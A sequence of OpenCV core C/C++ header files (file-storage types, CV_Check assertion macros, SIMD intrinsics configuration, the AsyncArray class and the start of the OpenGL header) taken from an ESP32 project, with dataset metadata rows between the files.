#define CV_STORAGE_WRITE_BASE64 (CV_STORAGE_BASE64 | CV_STORAGE_WRITE)
/** @brief List of attributes. :
In the current implementation, attributes are used to pass extra parameters when writing user
objects (see cvWrite). XML attributes inside tags are not supported, aside from the object type
specification (type_id attribute).
@see cvAttrList, cvAttrValue
*/
typedef struct CvAttrList
{
const char** attr; /**< NULL-terminated array of (attribute_name,attribute_value) pairs. */
struct CvAttrList* next; /**< Pointer to next chunk of the attributes list. */
}
CvAttrList;
/** initializes CvAttrList structure */
CV_INLINE CvAttrList cvAttrList( const char** attr CV_DEFAULT(NULL),
CvAttrList* next CV_DEFAULT(NULL) )
{
CvAttrList l;
l.attr = attr;
l.next = next;
return l;
}
struct CvTypeInfo;
#define CV_NODE_NONE 0
#define CV_NODE_INT 1
#define CV_NODE_INTEGER CV_NODE_INT
#define CV_NODE_REAL 2
#define CV_NODE_FLOAT CV_NODE_REAL
#define CV_NODE_STR 3
#define CV_NODE_STRING CV_NODE_STR
#define CV_NODE_REF 4 /**< not used */
#define CV_NODE_SEQ 5
#define CV_NODE_MAP 6
#define CV_NODE_TYPE_MASK 7
#define CV_NODE_TYPE(flags) ((flags) & CV_NODE_TYPE_MASK)
/** file node flags */
#define CV_NODE_FLOW 8 /**<Used only for writing structures in YAML format. */
#define CV_NODE_USER 16
#define CV_NODE_EMPTY 32
#define CV_NODE_NAMED 64
#define CV_NODE_IS_INT(flags) (CV_NODE_TYPE(flags) == CV_NODE_INT)
#define CV_NODE_IS_REAL(flags) (CV_NODE_TYPE(flags) == CV_NODE_REAL)
#define CV_NODE_IS_STRING(flags) (CV_NODE_TYPE(flags) == CV_NODE_STRING)
#define CV_NODE_IS_SEQ(flags) (CV_NODE_TYPE(flags) == CV_NODE_SEQ)
#define CV_NODE_IS_MAP(flags) (CV_NODE_TYPE(flags) == CV_NODE_MAP)
#define CV_NODE_IS_COLLECTION(flags) (CV_NODE_TYPE(flags) >= CV_NODE_SEQ)
#define CV_NODE_IS_FLOW(flags) (((flags) & CV_NODE_FLOW) != 0)
#define CV_NODE_IS_EMPTY(flags) (((flags) & CV_NODE_EMPTY) != 0)
#define CV_NODE_IS_USER(flags) (((flags) & CV_NODE_USER) != 0)
#define CV_NODE_HAS_NAME(flags) (((flags) & CV_NODE_NAMED) != 0)
#define CV_NODE_SEQ_SIMPLE 256
#define CV_NODE_SEQ_IS_SIMPLE(seq) (((seq)->flags & CV_NODE_SEQ_SIMPLE) != 0)
typedef struct CvString
{
int len;
char* ptr;
}
CvString;
/** All the keys (names) of elements in the read file storage
are stored in the hash to speed up the lookup operations: */
typedef struct CvStringHashNode
{
unsigned hashval;
CvString str;
struct CvStringHashNode* next;
}
CvStringHashNode;
typedef struct CvGenericHash CvFileNodeHash;
/** Basic element of the file storage - scalar or collection: */
typedef struct CvFileNode
{
int tag;
struct CvTypeInfo* info; /**< type information
(only for user-defined object, for others it is 0) */
union
{
double f; /**< scalar floating-point number */
int i; /**< scalar integer number */
CvString str; /**< text string */
CvSeq* seq; /**< sequence (ordered collection of file nodes) */
CvFileNodeHash* map; /**< map (collection of named file nodes) */
} data;
}
CvFileNode;
#ifdef __cplusplus
extern "C" {
#endif
typedef int (CV_CDECL *CvIsInstanceFunc)( const void* struct_ptr );
typedef void (CV_CDECL *CvReleaseFunc)( void** struct_dblptr );
typedef void* (CV_CDECL *CvReadFunc)( CvFileStorage* storage, CvFileNode* node );
typedef void (CV_CDECL *CvWriteFunc)( CvFileStorage* storage, const char* name,
const void* struct_ptr, CvAttrList attributes );
typedef void* (CV_CDECL *CvCloneFunc)( const void* struct_ptr );
#ifdef __cplusplus
}
#endif
/** @brief Type information
The structure contains information about one of the standard or user-defined types. Instances of the
type may or may not contain a pointer to the corresponding CvTypeInfo structure. In any case, there
is a way to find the type info structure for a given object using the cvTypeOf function.
Alternatively, type info can be found by type name using cvFindType, which is used when an object
is read from file storage. The user can register a new type with cvRegisterType that adds the type
information structure into the beginning of the type list. Thus, it is possible to create
specialized types from generic standard types and override the basic methods.
*/
typedef struct CvTypeInfo
{
int flags; /**< not used */
int header_size; /**< sizeof(CvTypeInfo) */
struct CvTypeInfo* prev; /**< previous registered type in the list */
struct CvTypeInfo* next; /**< next registered type in the list */
const char* type_name; /**< type name, written to file storage */
CvIsInstanceFunc is_instance; /**< checks if the passed object belongs to the type */
CvReleaseFunc release; /**< releases object (memory etc.) */
CvReadFunc read; /**< reads object from file storage */
CvWriteFunc write; /**< writes object to file storage */
CvCloneFunc clone; /**< creates a copy of the object */
}
CvTypeInfo;
#endif
/** @} */
#endif /*OPENCV_CORE_TYPES_H*/
/* End of file. */
| 71,254 | types_c | h | en | c | code | {"qsc_code_num_words": 8766, "qsc_code_num_chars": 71254.0, "qsc_code_mean_word_length": 4.58122291, "qsc_code_frac_words_unique": 0.1281086, "qsc_code_frac_chars_top_2grams": 0.04043925, "qsc_code_frac_chars_top_3grams": 0.01150427, "qsc_code_frac_chars_top_4grams": 0.01075724, "qsc_code_frac_chars_dupe_5grams": 0.35065614, "qsc_code_frac_chars_dupe_6grams": 0.27988745, "qsc_code_frac_chars_dupe_7grams": 0.23499091, "qsc_code_frac_chars_dupe_8grams": 0.21843173, "qsc_code_frac_chars_dupe_9grams": 0.17717075, "qsc_code_frac_chars_dupe_10grams": 0.15296696, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02083372, "qsc_code_frac_chars_whitespace": 0.24553008, "qsc_code_size_file_byte": 71254.0, "qsc_code_num_lines": 2122.0, "qsc_code_num_chars_line_max": 195.0, "qsc_code_num_chars_line_mean": 33.57869934, "qsc_code_frac_chars_alphabet": 0.72618538, "qsc_code_frac_chars_comments": 0.27121284, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.28861257, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.03992147, "qsc_code_frac_chars_string_length": 0.00868494, "qsc_code_frac_chars_long_word_length": 0.0010784, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00238788, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.01767016, "qsc_codec_frac_lines_func_ratio": 0.1315445, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.22447644, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/check.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_CHECK_HPP
#define OPENCV_CORE_CHECK_HPP
#include <opencv2/core/base.hpp>
namespace cv {
/** Returns string of cv::Mat depth value: CV_8U -> "CV_8U" or "<invalid depth>" */
CV_EXPORTS const char* depthToString(int depth);
/** Returns string of cv::Mat depth value: CV_8UC3 -> "CV_8UC3" or "<invalid type>" */
CV_EXPORTS const String typeToString(int type);
//! @cond IGNORED
namespace detail {
/** Returns string of cv::Mat depth value: CV_8U -> "CV_8U" or NULL */
CV_EXPORTS const char* depthToString_(int depth);
/** Returns string of cv::Mat depth value: CV_8UC3 -> "CV_8UC3" or cv::String() */
CV_EXPORTS const cv::String typeToString_(int type);
enum TestOp {
TEST_CUSTOM = 0,
TEST_EQ = 1,
TEST_NE = 2,
TEST_LE = 3,
TEST_LT = 4,
TEST_GE = 5,
TEST_GT = 6,
CV__LAST_TEST_OP
};
struct CheckContext {
const char* func;
const char* file;
int line;
enum TestOp testOp;
const char* message;
const char* p1_str;
const char* p2_str;
};
#ifndef CV__CHECK_FILENAME
# define CV__CHECK_FILENAME __FILE__
#endif
#ifndef CV__CHECK_FUNCTION
# if defined _MSC_VER
# define CV__CHECK_FUNCTION __FUNCSIG__
# elif defined __GNUC__
# define CV__CHECK_FUNCTION __PRETTY_FUNCTION__
# else
# define CV__CHECK_FUNCTION "<unknown>"
# endif
#endif
#define CV__CHECK_LOCATION_VARNAME(id) CVAUX_CONCAT(CVAUX_CONCAT(__cv_check_, id), __LINE__)
#define CV__DEFINE_CHECK_CONTEXT(id, message, testOp, p1_str, p2_str) \
static const cv::detail::CheckContext CV__CHECK_LOCATION_VARNAME(id) = \
{ CV__CHECK_FUNCTION, CV__CHECK_FILENAME, __LINE__, testOp, message, p1_str, p2_str }
CV_EXPORTS void CV_NORETURN check_failed_auto(const int v1, const int v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const size_t v1, const size_t v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const float v1, const float v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const double v1, const double v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const Size_<int> v1, const Size_<int> v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatDepth(const int v1, const int v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatType(const int v1, const int v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatChannels(const int v1, const int v2, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const int v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const size_t v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const float v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const double v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const Size_<int> v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_auto(const std::string& v1, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatDepth(const int v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatType(const int v, const CheckContext& ctx);
CV_EXPORTS void CV_NORETURN check_failed_MatChannels(const int v, const CheckContext& ctx);
#define CV__TEST_EQ(v1, v2) ((v1) == (v2))
#define CV__TEST_NE(v1, v2) ((v1) != (v2))
#define CV__TEST_LE(v1, v2) ((v1) <= (v2))
#define CV__TEST_LT(v1, v2) ((v1) < (v2))
#define CV__TEST_GE(v1, v2) ((v1) >= (v2))
#define CV__TEST_GT(v1, v2) ((v1) > (v2))
#define CV__CHECK(id, op, type, v1, v2, v1_str, v2_str, msg_str) do { \
if(CV__TEST_##op((v1), (v2))) ; else { \
CV__DEFINE_CHECK_CONTEXT(id, msg_str, cv::detail::TEST_ ## op, v1_str, v2_str); \
cv::detail::check_failed_ ## type((v1), (v2), CV__CHECK_LOCATION_VARNAME(id)); \
} \
} while (0)
#define CV__CHECK_CUSTOM_TEST(id, type, v, test_expr, v_str, test_expr_str, msg_str) do { \
if(!!(test_expr)) ; else { \
CV__DEFINE_CHECK_CONTEXT(id, msg_str, cv::detail::TEST_CUSTOM, v_str, test_expr_str); \
cv::detail::check_failed_ ## type((v), CV__CHECK_LOCATION_VARNAME(id)); \
} \
} while (0)
} // namespace
//! @endcond
/// Supported values of these types: int, float, double
#define CV_CheckEQ(v1, v2, msg) CV__CHECK(_, EQ, auto, v1, v2, #v1, #v2, msg)
#define CV_CheckNE(v1, v2, msg) CV__CHECK(_, NE, auto, v1, v2, #v1, #v2, msg)
#define CV_CheckLE(v1, v2, msg) CV__CHECK(_, LE, auto, v1, v2, #v1, #v2, msg)
#define CV_CheckLT(v1, v2, msg) CV__CHECK(_, LT, auto, v1, v2, #v1, #v2, msg)
#define CV_CheckGE(v1, v2, msg) CV__CHECK(_, GE, auto, v1, v2, #v1, #v2, msg)
#define CV_CheckGT(v1, v2, msg) CV__CHECK(_, GT, auto, v1, v2, #v1, #v2, msg)
/// Check with additional "decoding" of type values in error message
#define CV_CheckTypeEQ(t1, t2, msg) CV__CHECK(_, EQ, MatType, t1, t2, #t1, #t2, msg)
/// Check with additional "decoding" of depth values in error message
#define CV_CheckDepthEQ(d1, d2, msg) CV__CHECK(_, EQ, MatDepth, d1, d2, #d1, #d2, msg)
#define CV_CheckChannelsEQ(c1, c2, msg) CV__CHECK(_, EQ, MatChannels, c1, c2, #c1, #c2, msg)
/// Example: type == CV_8UC1 || type == CV_8UC3
#define CV_CheckType(t, test_expr, msg) CV__CHECK_CUSTOM_TEST(_, MatType, t, (test_expr), #t, #test_expr, msg)
/// Example: depth == CV_32F || depth == CV_64F
#define CV_CheckDepth(t, test_expr, msg) CV__CHECK_CUSTOM_TEST(_, MatDepth, t, (test_expr), #t, #test_expr, msg)
/// Example: v == A || v == B
#define CV_Check(v, test_expr, msg) CV__CHECK_CUSTOM_TEST(_, auto, v, (test_expr), #v, #test_expr, msg)
/// Some complex conditions: CV_Check(src2, src2.empty() || (src2.type() == src1.type() && src2.size() == src1.size()), "src2 should have same size/type as src1")
// TODO define pretty-printers
#ifndef NDEBUG
#define CV_DbgCheck(v, test_expr, msg) CV__CHECK_CUSTOM_TEST(_, auto, v, (test_expr), #v, #test_expr, msg)
#define CV_DbgCheckEQ(v1, v2, msg) CV__CHECK(_, EQ, auto, v1, v2, #v1, #v2, msg)
#define CV_DbgCheckNE(v1, v2, msg) CV__CHECK(_, NE, auto, v1, v2, #v1, #v2, msg)
#define CV_DbgCheckLE(v1, v2, msg) CV__CHECK(_, LE, auto, v1, v2, #v1, #v2, msg)
#define CV_DbgCheckLT(v1, v2, msg) CV__CHECK(_, LT, auto, v1, v2, #v1, #v2, msg)
#define CV_DbgCheckGE(v1, v2, msg) CV__CHECK(_, GE, auto, v1, v2, #v1, #v2, msg)
#define CV_DbgCheckGT(v1, v2, msg) CV__CHECK(_, GT, auto, v1, v2, #v1, #v2, msg)
#else
#define CV_DbgCheck(v, test_expr, msg) do { } while (0)
#define CV_DbgCheckEQ(v1, v2, msg) do { } while (0)
#define CV_DbgCheckNE(v1, v2, msg) do { } while (0)
#define CV_DbgCheckLE(v1, v2, msg) do { } while (0)
#define CV_DbgCheckLT(v1, v2, msg) do { } while (0)
#define CV_DbgCheckGE(v1, v2, msg) do { } while (0)
#define CV_DbgCheckGT(v1, v2, msg) do { } while (0)
#endif
} // namespace
#endif // OPENCV_CORE_CHECK_HPP
| 7,070 | check | hpp | en | cpp | code | {"qsc_code_num_words": 1150, "qsc_code_num_chars": 7070.0, "qsc_code_mean_word_length": 4.08434783, "qsc_code_frac_words_unique": 0.15043478, "qsc_code_frac_chars_top_2grams": 0.04854162, "qsc_code_frac_chars_top_3grams": 0.04470939, "qsc_code_frac_chars_top_4grams": 0.03065787, "qsc_code_frac_chars_dupe_5grams": 0.64445391, "qsc_code_frac_chars_dupe_6grams": 0.61890568, "qsc_code_frac_chars_dupe_7grams": 0.54119651, "qsc_code_frac_chars_dupe_8grams": 0.49776453, "qsc_code_frac_chars_dupe_9grams": 0.44901001, "qsc_code_frac_chars_dupe_10grams": 0.44901001, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03400567, "qsc_code_frac_chars_whitespace": 0.15148515, "qsc_code_size_file_byte": 7070.0, "qsc_code_num_lines": 160.0, "qsc_code_num_chars_line_max": 163.0, "qsc_code_num_chars_line_mean": 44.1875, "qsc_code_frac_chars_alphabet": 0.74895816, "qsc_code_frac_chars_comments": 0.1572843, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.11711712, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00151057, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.00625, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.52252252, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.54054054, "qsc_codecpp_frac_lines_print": 0.0} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 1, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/simd_intrinsics.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_SIMD_INTRINSICS_HPP
#define OPENCV_CORE_SIMD_INTRINSICS_HPP
/**
Helper header to support SIMD intrinsics (universal intrinsics) in user code.
Intrinsics documentation: https://docs.opencv.org/master/df/d91/group__core__hal__intrin.html
Checks of target CPU instruction set based on compiler definitions don't work well enough.
More reliable solutions require utilization of configuration systems (like CMake).
So, probably you need to specify your own configuration.
You can do that via CMake in this way:
add_definitions(/DOPENCV_SIMD_CONFIG_HEADER=opencv_simd_config_custom.hpp)
or
add_definitions(/DOPENCV_SIMD_CONFIG_INCLUDE_DIR=1)
Additionally you may need to add include directory to your files:
include_directories("${CMAKE_CURRENT_LIST_DIR}/opencv_config_${MYTARGET}")
These files can be pre-generated for target configurations of your application
or generated by CMake on the fly (use CMAKE_BINARY_DIR for that).
Notes:
- H/W capability checks are still responsibility of your application
- runtime dispatching is not covered by this helper header
*/
#ifdef __OPENCV_BUILD
#error "Use core/hal/intrin.hpp during OpenCV build"
#endif
#ifdef OPENCV_HAL_INTRIN_HPP
#error "core/simd_intrinsics.hpp must be included before core/hal/intrin.hpp"
#endif
#include "opencv2/core/cvdef.h"
#include "opencv2/core/version.hpp"
#ifdef OPENCV_SIMD_CONFIG_HEADER
#include CVAUX_STR(OPENCV_SIMD_CONFIG_HEADER)
#elif defined(OPENCV_SIMD_CONFIG_INCLUDE_DIR)
#include "opencv_simd_config.hpp" // corresponding directory should be added via -I compiler parameter
#else // custom config headers
#if (!defined(CV_AVX_512F) || !CV_AVX_512F) && (defined(__AVX512__) || defined(__AVX512F__))
# include <immintrin.h>
# undef CV_AVX_512F
# define CV_AVX_512F 1
# ifndef OPENCV_SIMD_DONT_ASSUME_SKX // Skylake-X with AVX-512F/CD/BW/DQ/VL
# undef CV_AVX512_SKX
# define CV_AVX512_SKX 1
# undef CV_AVX_512CD
# define CV_AVX_512CD 1
# undef CV_AVX_512BW
# define CV_AVX_512BW 1
# undef CV_AVX_512DQ
# define CV_AVX_512DQ 1
# undef CV_AVX_512VL
# define CV_AVX_512VL 1
# endif
#endif // AVX512
// GCC/Clang: -mavx2
// MSVC: /arch:AVX2
#if defined __AVX2__
# include <immintrin.h>
# undef CV_AVX2
# define CV_AVX2 1
# if defined __F16C__
# undef CV_FP16
# define CV_FP16 1
# endif
#endif
#endif
// SSE / NEON / VSX is handled by cv_cpu_dispatch.h compatibility block
#include "cv_cpu_dispatch.h"
#include "hal/intrin.hpp"
#endif // OPENCV_CORE_SIMD_INTRINSICS_HPP
| 2,734 | simd_intrinsics | hpp | en | cpp | code | {"qsc_code_num_words": 424, "qsc_code_num_chars": 2734.0, "qsc_code_mean_word_length": 4.75471698, "qsc_code_frac_words_unique": 0.41509434, "qsc_code_frac_chars_top_2grams": 0.0297619, "qsc_code_frac_chars_top_3grams": 0.03968254, "qsc_code_frac_chars_top_4grams": 0.04166667, "qsc_code_frac_chars_dupe_5grams": 0.09474206, "qsc_code_frac_chars_dupe_6grams": 0.0, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03336185, "qsc_code_frac_chars_whitespace": 0.14484272, "qsc_code_size_file_byte": 2734.0, "qsc_code_num_lines": 88.0, "qsc_code_num_chars_line_max": 104.0, "qsc_code_num_chars_line_mean": 31.06818182, "qsc_code_frac_chars_alphabet": 0.8289136, "qsc_code_frac_chars_comments": 0.55010973, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.22727273, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.16910569, "qsc_code_frac_chars_long_word_length": 0.05691057, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.04545455, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 1.0, "qsc_codecpp_score_lines_no_logic": 0.20454545, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/async.hpp | // This file is part of OpenCV project.
// It is subject to the license terms in the LICENSE file found in the top-level directory
// of this distribution and at http://opencv.org/license.html.
#ifndef OPENCV_CORE_ASYNC_HPP
#define OPENCV_CORE_ASYNC_HPP
#include <opencv2/core/mat.hpp>
#ifdef CV_CXX11
//#include <future>
#include <chrono>
#endif
namespace cv {
/** @addtogroup core_async
@{
*/
/** @brief Returns result of asynchronous operations
Object has attached asynchronous state.
Assignment operator doesn't clone asynchronous state (it is shared between all instances).
Result can be fetched via get() method only once.
*/
class CV_EXPORTS_W AsyncArray
{
public:
~AsyncArray() CV_NOEXCEPT;
CV_WRAP AsyncArray() CV_NOEXCEPT;
AsyncArray(const AsyncArray& o) CV_NOEXCEPT;
AsyncArray& operator=(const AsyncArray& o) CV_NOEXCEPT;
CV_WRAP void release() CV_NOEXCEPT;
/** Fetch the result.
@param[out] dst destination array
Waits for result until container has valid result.
Throws exception if exception was stored as a result.
Throws exception on invalid container state.
@note Result or stored exception can be fetched only once.
*/
CV_WRAP void get(OutputArray dst) const;
/** Retrieving the result with timeout
@param[out] dst destination array
@param[in] timeoutNs timeout in nanoseconds, -1 for infinite wait
@returns true if result is ready, false if the timeout has expired
@note Result or stored exception can be fetched only once.
*/
bool get(OutputArray dst, int64 timeoutNs) const;
CV_WRAP inline
bool get(OutputArray dst, double timeoutNs) const { return get(dst, (int64)timeoutNs); }
bool wait_for(int64 timeoutNs) const;
CV_WRAP inline
bool wait_for(double timeoutNs) const { return wait_for((int64)timeoutNs); }
CV_WRAP bool valid() const CV_NOEXCEPT;
#ifdef CV_CXX11
inline AsyncArray(AsyncArray&& o) { p = o.p; o.p = NULL; }
inline AsyncArray& operator=(AsyncArray&& o) CV_NOEXCEPT { std::swap(p, o.p); return *this; }
template<typename _Rep, typename _Period>
inline bool get(OutputArray dst, const std::chrono::duration<_Rep, _Period>& timeout)
{
return get(dst, (int64)(std::chrono::nanoseconds(timeout).count()));
}
template<typename _Rep, typename _Period>
inline bool wait_for(const std::chrono::duration<_Rep, _Period>& timeout)
{
return wait_for((int64)(std::chrono::nanoseconds(timeout).count()));
}
#if 0
std::future<Mat> getFutureMat() const;
std::future<UMat> getFutureUMat() const;
#endif
#endif
// PImpl
struct Impl; friend struct Impl;
inline void* _getImpl() const CV_NOEXCEPT { return p; }
protected:
Impl* p;
};
//! @}
} // namespace
#endif // OPENCV_CORE_ASYNC_HPP
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0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/opengl.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifndef OPENCV_CORE_OPENGL_HPP
#define OPENCV_CORE_OPENGL_HPP
#ifndef __cplusplus
# error opengl.hpp header must be compiled as C++
#endif
#include "opencv2/core.hpp"
#include "ocl.hpp"
